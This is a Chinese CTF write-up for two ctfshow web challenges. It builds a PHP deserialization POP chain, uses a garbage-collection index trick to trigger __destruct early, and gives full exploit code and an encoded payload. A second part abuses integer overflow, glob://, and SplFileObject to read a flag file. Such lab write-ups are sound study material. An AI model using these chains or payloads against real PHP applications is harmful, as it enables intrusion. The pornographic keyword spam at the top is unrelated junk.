日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

ctfshow卷王杯部分web

發布時間:2023/12/14 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 ctfshow卷王杯部分web 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

ctfshow卷王杯web部分[easy unserialize&easy web]

文章目錄

  • ctfshow卷王杯web部分[easy unserialize&easy web]
    • easy unserialize
        • 了解__destruct()魔術函數的調用條件
    • 不難發現我們最后是要調用one::MeMeMe,然后進入鏈子的起始點為one::destruct,順著起始點往下跳
        • 鏈子找到了,就要想辦法實現,這里有個問題就是這里存在反復調用的問題,也就是one對象到second對象,然后有條回來,這樣可能不能反復賦值,因為這樣的話就進入死循環了,所以我們可以實例化兩個one對象進入
        • 然后就是想辦法進入到one::MeMeMe方法,然后拿到flag
        • 接下來就是想辦法怎么在third::__get()里面怎么調用one::MeMeMe,最開始我想的是直接傳入"one::MeMeMe",結果發現這樣就不能自己設置成員屬性了,所以這里我改用了另外一種方法,`使用數組調用類方法`,也就是傳入這個payload
        • 最終exp
    • easy web

easy unserialize

點擊這里觀看體驗更佳
(經過大佬的指點,我在后面加了一種GC利用的新姿勢在這個站里)

<?php /*** @Author: F10wers_13eiCheng* @Date: 2022-02-01 11:25:02* @Last Modified by: F10wers_13eiCheng* @Last Modified time: 2022-02-07 15:08:18*/ include("./HappyYear.php");class one {public $object;public function MeMeMe() {array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."</br>";global $flag;echo $flag;}});}public function __destruct() {@$this->object->add();}public function __toString() {return $this->object->string;} }class second {protected $filename;protected function addMe() {return "Wow you have sovled".$this->filename;}public function __call($func, $args) {call_user_func([$this, $func."Me"], $args);} }class third {private $string;public function __construct($string) {$this->string = $string;}public function __get($name) {$var = $this->$name;$var[$name]();} }if (isset($_GET["ctfshow"])) {$a=unserialize($_GET['ctfshow']);throw new Exception("高一新生報道"); } else {highlight_file(__FILE__); }

這道題有幸拿到了二血,這道題做了之后學會了幾個新姿勢,我接下來分開來講

  • 了解__destruct()魔術函數的調用條件

  • __destruct()方法又叫析構函數,當程序結束銷毀的時候自動調用,看下這道題中的代碼

    $a=unserialize($_GET['ctfshow']); throw new Exception("高一新生報道");

    這里有個throw函數,大概是拋出一個異常,然后讓程序異常退出,這個時候就是未正常退出的情況,所以不會調用__destruct方法,這里我們就要想辦法在throw函數執行之前調用析構函數,目前我知道的調用該函數的方法如下

    • 等待程序完整執行完畢,也就是解釋完最后一行代碼,這也是我們最常用的方法
    • 利用GC回收機制,比如
    <?php highlight_file(__FILE__); class Demo{public function __destruct(){echo "Running method <destruct>";} } $a=new Demo(); // $a=null; throw new Error("this is a test");

    然后我們把null賦值重新加上

    發現成功執行了__destruct函數,這也就是利用了GC回收機制讓這個對象提前銷毀,具體的GC回收機制可自行百度

    那么這道題我們要怎么繞過呢,這里我們可以利用反序列化的性質來做,反序列化時從左到右的順序進行重構的,所以我們只要構造出以下類似的結構就行

    a:2:{i:0;O:4:"Demo":0:{}i:0;N;}

    這個payload可以由下面這個demo獲取得到

    <?php highlight_file(__FILE__); class Demo{public function __destruct(){echo "Running method <destruct>";} } $a=new Demo(); $b=null; $c=array($a,$b); echo serialize($c);

    即定義一個數組,其中有兩個值,第一個為實例化的對象,第二個為另外隨便的一個值(這里賦null以外的值都可以),然后會得到``a:2:{i:0;O:4:"Demo":0:{}i:1;N;},將其改為 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}也就是將第二個反序列化的序號改為0,這樣就實現了對Demo這個對象的重新賦值,達到了提前是對象摧毀的效果

    • 最后一種就是利用unset()主動銷毀,這里顯然我們不能,所以忽略

    現在算是過了第一關了,那我們開始審鏈子

  • 不難發現我們最后是要調用one::MeMeMe,然后進入鏈子的起始點為one::destruct,順著起始點往下跳

  • public function __destruct() {@$this->object->add(); }

    這里調用了一個add的方法,由此可以跳到second::__call

    進入second::__call:

    此時調用了一個回調函數call_user_func([$this, $func."Me"], $args);分析一下他具體的調用結果,首先第一個參數[$this, $func."Me"]這是數組調用類方法的方式,其中$fun的值為訪問的那個函數名,也就是add,所以總結下來其實就是訪問second::addMe,然后再關注second::addMe

    protected function addMe() {return "Wow you have sovled".$this->filename;}

    這里將filename的成員變量與一個字符串相連接,很容易想到__toString方法,然后就不如到了one::__toString

    public function __toString() { return $this->object->string; }

    這里訪問了string屬性,可以想到__get,然后跳到third::__get

    public function __get($name) {$var = $this->$name;$var[$name]();}

    分析一下,變量var的值為this?>this->this?>name,也就是$this->string,然后調用一個方法,其中name的值不可控,var的值可以通過修改string的屬性來控制,也就是說這里就能動態調用了

    梳理一下鏈子如下

    one::__destruct => second::__call => second::addMe => one::__toString => third::__get => one:MeMeMe

  • 鏈子找到了,就要想辦法實現,這里有個問題就是這里存在反復調用的問題,也就是one對象到second對象,然后有條回來,這樣可能不能反復賦值,因為這樣的話就進入死循環了,所以我們可以實例化兩個one對象進入

  • 具體的實現方式exp如下

    <?php highlight_file(__FILE__); class one {public $object;public function __construct(){$this->object=new second();} }class second {public $filename; }class third {private $string; } $a=new one(); $b=new one(); $c=new second(); $d=new third("haha"); $b->object=$d; $c->filename=$b; $a->object=$c; echo urlencode(serialize($a));

    然后帶入自己本地調試的文件中結果如下

    ?

    <?php highlight_file(__FILE__); class one {public $object;public function MeMeMe() {echo "<br>hahahaha";array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."</br>";global $flag;echo $flag;}});}public function __destruct() {@$this->object->add();}public function __toString() {echo "<br>Enter the tostring method";return $this->object->string;}}class second {protected $filename;protected function addMe() {echo "<br>addMe";return "Wow you have sovled".$this->filename;}public function __call($func, $args) {echo "<br>Enter the call method";call_user_func([$this, $func."Me"], $args);}}class third {private $string;public function __construct($string) {$this->string = $string;}public function __get($name) {echo "<br>Enter the get method!!!!!";$var = $this->$name;$var[$name]();}} $a=unserialize($_GET['s']);

    成功進入__get方法,如果我們只實例化一個one對象的話,可能就不能出現循環的問題了。另外這里我到一個php7的特性,使得繞過protect成員屬性(對protect不敏感)

  • 然后就是想辦法進入到one::MeMeMe方法,然后拿到flag

  • 終點看下這個函數

    public function MeMeMe() {array_walk($this, function($fn, $prev){if ($fn[0] === "Happy_func" && $prev === "year_parm") {global $talk;echo "$talk"."</br>";global $flag;echo $flag;}});}

    由于網上的關于array_walk的講解大多數都是使用數組,所以我們可以寫個demo來實驗一下他對類的用法

    <?php highlight_file(__FILE__); class Demo {public $object="this is value";public function MeMeMe() {array_walk($this, function($fn, $prev){echo $fn."|".$prev;});} } $a=new Demo(); $a->MeMeMe();

    可以看到array_walk函數的作用就是遍歷自定義函數,其中$fn的值為成員的值,prev為成員變量的名字,這里可以多設置幾個成員屬性來驗證一下,我這里就偷懶沒寫,因為我之前已經寫過了哈哈,也就是說我們要滿足這個if條件就要添加一個如下的屬性

    public $year_parm=array("Happy_func");
  • 接下來就是想辦法怎么在third::__get()里面怎么調用one::MeMeMe,最開始我想的是直接傳入"one::MeMeMe",結果發現這樣就不能自己設置成員屬性了,所以這里我改用了另外一種方法,使用數組調用類方法,也就是傳入這個payload

  • [new one(),"MeMeMe"]

    然后再exp里面添加上上面成員屬性就可以了,這里可以看到前面那個回調函數也使用了這一方法

  • 最終exp

  • <?php highlight_file(__FILE__); class one {public $object;public $year_parm=array(0=>"Happy_func"); }class second {public $filename; }class third {private $string;public function __construct(){$this->string=array("string"=>[new one(),"MeMeMe"]);} } $a=new one(); $b=new one(); $c=new second(); $d=new third("haha"); $b->object=$d; $c->filename=$b; $a->object=$c; $n=null; $payload=array($a,$n); echo urlencode(serialize($payload));

    然后再修改一下得到payload

    a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D

    easy web

    php數組鍵溢出,php原生類操作文件

    首先可以令c=9223372036854775806繞過第一層,然后根據提示使用glob://協議讀取到flag文件名,最后使用SplObjectFile類讀取文件

    其中獲取文件名的時候可以爆破md5值得第一位數

    payload如下

    c=9223372036854775806&a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php

    總結

    以上是生活随笔為你收集整理的ctfshow卷王杯部分web的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。